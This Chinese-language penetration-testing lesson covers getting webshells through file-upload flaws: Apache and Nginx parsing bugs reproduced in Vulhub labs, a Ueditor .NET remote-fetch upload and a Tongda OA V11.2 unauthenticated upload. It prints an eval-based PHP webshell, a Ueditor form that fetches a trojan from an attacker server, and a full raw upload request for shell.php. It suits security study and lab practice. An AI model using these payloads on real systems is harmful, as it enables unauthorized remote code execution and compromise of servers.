本节课聚焦"文件上传+环境缺陷"的联动利用,覆盖中间件(Apache/Nginx)解析漏洞、第三方编辑器逻辑缺陷、已知CMS漏洞三大场景,核心是理解"环境配置→漏洞触发→GetShell"的闭环,而非单纯记忆Payload。
一、核心知识点总览
三类漏洞的本质都是"利用环境或组件的缺陷,让恶意文件被解析/上传成功",但适用场景和实现逻辑差异显著:
| 漏洞类型 | 核心逻辑 | 实战场景 | 利用难度 |
|---|---|---|---|
| 中间件解析漏洞 | 利用Apache/Nginx的配置/版本缺陷,让非PHP文件被解析为PHP | 服务器用开源中间件且配置不当 | 中 |
| 第三方编辑器漏洞 | 利用编辑器的逻辑缺陷(如未授权上传、远程抓取) | 后台集成了Ueditor/KindEditor等编辑器 | 低 |
| CMS已知漏洞 | 利用CMS官方未修复的上传漏洞,直接上传木马 | 目标使用通达OA、Discuz等已知有漏洞的CMS | 低 |
二、中间件文件解析漏洞(Apache&Nginx)
中间件的解析漏洞是"文件上传漏洞的放大器"------即使上传的是图片后缀,只要中间件配置缺陷,就能被解析为PHP执行。
2.1 Apache 换行解析漏洞(CVE-2017-15715)
核心原理
Apache 2.4.0~2.4.29版本中,若文件名含换行符(0x0a),会被错误解析为合法PHP文件。例如evil.php[0x0a]会被识别为evil.php。
复现步骤(Vulhub靶场)
-
部署靶场:
cd vulhub/httpd/CVE-2017-15715 docker compose up -d -
上传木马并抓包:
上传1.php(内容<?php phpinfo();?>),抓包修改filename为evil.php(末尾加空格,方便后续定位)。
-
Hex修改换行符:
Burp转Hex格式,将空格的20改为0a(换行符的十六进制)。
-
触发解析:
避坑点
- 需确保后端有重命名逻辑(否则文件名不变,漏洞无法触发);
- Hex修改时要精准定位空格位置,可先加多个空格标记。
2.2 Apache 多后缀解析漏洞
核心原理
Apache配置了AddHandler application/x-httpd-php .php后,只要文件名含.php后缀(无论位置),就会被解析为PHP。例如xxx.php.jpg会被当作PHP文件执行。
复现步骤(Vulhub靶场)
-
部署靶场:
cd vulhub/httpd/apache_parsing_vulnerability docker compose up -d -
上传多后缀木马:
制作apache.php.jpeg(内容<?=phpinfo()?>),上传后访问http://IP/uploadfiles/apache.php.jpeg,成功解析。
实战意义
可绕过"仅允许.jpg/.png"的白名单验证,只需让文件名含.php后缀即可。
2.3 Nginx 文件名逻辑漏洞(CVE-2013-4547)
核心原理
Nginx 0.8.411.4.3 / 1.5.01.5.7版本中,文件名含空格+php后缀时,会将空格截断,解析为合法PHP文件。例如1.gif[空格].php会被识别为1.gif.php。
复现步骤(Vulhub靶场)
-
部署靶场:
cd vulhub/nginx/CVE-2013-4547 docker compose up -d -
上传木马并抓包:
上传1.gif(内容<?php phpinfo();?>),抓包修改filename为1.gif[空格].php。
-
Hex修改空字符:
Burp转Hex格式,将空格的20改为00(空字符的十六进制)。
-
触发解析:
避坑点
- Hex修改时若无法编辑,点击旁边任意字符即可激活输入;
- 需确保Nginx版本在漏洞范围内,高版本已修复。
2.4 Nginx 解析漏洞(配置缺陷)
核心原理
Nginx配置了location ~ \.php$ { ... }后,访问/xxx.png/.php时,会将请求交给PHP解析器,从而执行xxx.png中的PHP代码。
复现步骤(Vulhub靶场)
-
部署靶场:
cd vulhub/nginx/nginx_parsing_vulnerability docker compose up -d -
上传图片马:
上传内含PHP代码的图片马(如<?php @eval($_POST['pass']);?>)。
-
触发解析:
访问http://IP/uploadfiles/\[图片名\].png/.php,成功执行木马(用哥斯拉连接,密码pass)。
实战意义
无需修改文件名,只需在URL后加/.php即可利用,隐蔽性极强。
中间件漏洞对比表
| 中间件 | 漏洞名称 | 版本范围 | 触发关键 | 利用难度 |
|---|---|---|---|---|
| Apache | 换行解析(CVE-2017-15715) | 2.4.0~2.4.29 | Hex修改20为0a | 中 |
| Apache | 多后缀解析 | 全版本(配置依赖) | 文件名含.php后缀 | 低 |
| Nginx | 文件名逻辑漏洞(CVE-2013-4547) | 0.8.411.4.3 / 1.5.01.5.7 | Hex修改20为00 | 中 |
| Nginx | 解析漏洞(配置) | 全版本(配置依赖) | URL后加/.php | 低 |
三、第三方编辑器文件上传漏洞(以Ueditor为例)
第三方编辑器(如Ueditor、KindEditor)的逻辑缺陷的,可直接绕过所有验证上传木马。
Ueditor 任意文件上传漏洞(.Net版本)
核心原理
Ueditor .Net版本的"远程图片抓取"功能未做权限验证,可构造表单上传恶意图片马,并将其重命名为.aspx后缀执行。
复现步骤
-
定位编辑器入口:
目录扫描找到/ueditor/net/controller.ashx(如http://IP/ueditor/net/controller.ashx)。
-
构造上传表单:
<form action="http://IP/ueditor/net/controller.ashx?action=catchimage" method="POST" enctype="multipart/form-data"> <input type="text" name="source[]" value="http://你的服务器/木马.aspx" /> <input type="submit" value="上传" /> </form> -
上传并执行:
提交后,Ueditor会抓取并保存为.aspx文件,访问该路径并用哥斯拉连接(密码对应木马)。
实战拓展
- 其他编辑器如KindEditor可利用"上传路径遍历"(如../跳转目录)上传木马;
- 优先通过"目录扫描"找编辑器入口(如/ueditor/、/kindeditor/)。
四、CMS已知文件上传漏洞(以通达OA V11.2为例)
已知CMS的上传漏洞可通过"识别版本+公开POC"快速GetShell,无需手动测试。
通达OA V11.2 文件上传漏洞
核心原理
后台存在未授权的文件上传接口,可直接上传PHP木马。
复现步骤(ONE-FOX工具箱)
- 识别CMS版本:
用WhatWeb或ONE-FOX工具箱识别目标为通达OA V11.2。 - 利用POC上传木马:
选择"后台上传GetShell"功能,自动获取Cookie并上传木马。 - 连接木马:
访问木马路径,用哥斯拉连接(密码默认或自定义)。
手动拓展
-
找到上传入口/ispirit/im/upload.php,构造数据包上传:
POST /ispirit/im/upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="UPLOAD_MODE" 1 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="P" 123 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="img"; filename="shell.php" Content-Type: application/octet-stream <?php @eval($_POST['pass']);?> ------WebKitFormBoundary7MA4YWxkTrZu0gW--
五、核心总结与实战建议
-
中间件漏洞:
- 优先用Vulhub复现,理解"Hex修改"和"解析规则";
- 实战中结合文件上传白名单,如用xxx.php.jpg绕过Apache多后缀解析。
-
第三方编辑器漏洞:
- 关注"未授权访问"和"功能逻辑缺陷",如Ueditor的远程抓取、KindEditor的路径遍历;
- 用目录扫描工具(如Dirsearch)找编辑器入口。
-
CMS漏洞:
- 善用CMS识别工具(WhatWeb)和POC库(Exploit-DB);
- 手动测试时优先找"上传、文件管理"功能点。
避坑总览
| 场景 | 常见坑点 | 解决方法 |
|---|---|---|
| 中间件Hex修改 | 无法定位字符位置 | 先加空格标记,再转Hex找20位置 |
| 编辑器利用 | 路径找不到或权限不足 | 目录扫描找编辑器入口(如/ueditor/) |
| CMS利用 | POC失效 | 确认CMS版本与POC匹配,手动抓包调试 |
通过本节课,需建立"环境缺陷→漏洞利用"的关联思维------文件上传只是第一步,能否GetShell最终取决于中间件、组件或CMS的配置/缺陷。多复现靶场,才能在实战中快速识别并利用这类联动漏洞。